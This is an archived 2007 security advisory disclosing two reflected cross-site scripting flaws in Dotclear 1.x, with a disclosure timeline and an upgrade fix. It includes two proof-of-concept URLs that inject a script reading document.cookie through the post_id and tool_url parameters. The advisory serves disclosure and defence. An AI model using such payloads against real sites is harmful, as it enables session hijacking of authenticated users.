Home / exploits dotclear-xss.txt
Posted on 13 April 2007
------=_Part_23606_3482423.1176380209314 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Dotclear 1.* Cross Site Scripting Vulnerability 1--two cross site scripting vulnerabilities have been discovered in the dotclear1.* allowing a remote attackers to hijack authenticated session Workaround: $post_id (trackback.php) $tool_url(/tools/thememng/index.php) are not filtered 2-Proof of Concepts: dotclear/ecrire/trackback.php?post_id="><script>alert(document.cookie );</script> /ecrire/tools.php?tool_url=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&p=thememng 3-Disclosure timeline 05/04/2007 dotclear team contacted 10/04/2007 fixed 4-solution: upgrade to dotclear 1.2.6 http://www.dotclear.net/ found by nassim http://www.securlabs.com/ ------=_Part_23606_3482423.1176380209314 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline <div>Dotclear 1.* Cross Site Scripting Vulnerability</div> <div> </div> <div> </div> <div>1--two cross site scripting vulnerabilities have been discovered in the dotclear1.* allowing a remote attackers to hijack authenticated session <br>Workaround:<br>$post_id (trackback.php)<br>$tool_url(/tools/thememng/index.php) <br>are not filtered </div> <div>2-Proof of Concepts:<br>dotclear/ecrire/trackback.php?post_id="><script>alert(document.cookie);</script></div> <div><br>/ecrire/tools.php?tool_url=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&p=thememng </div> <div><br>3-Disclosure timeline<br>05/04/2007 dotclear team contacted<br>10/04/2007 fixed</div> <p>4-solution:<br>upgrade to dotclear 1.2.6<br><a onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.dotclear.net/" target="_blank">http://www.dotclear.net/</a></p> <p>found by nassim<br><a onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.securlabs.com/" target="_blank">http://www.securlabs.com/</a></p> ------=_Part_23606_3482423.1176380209314--
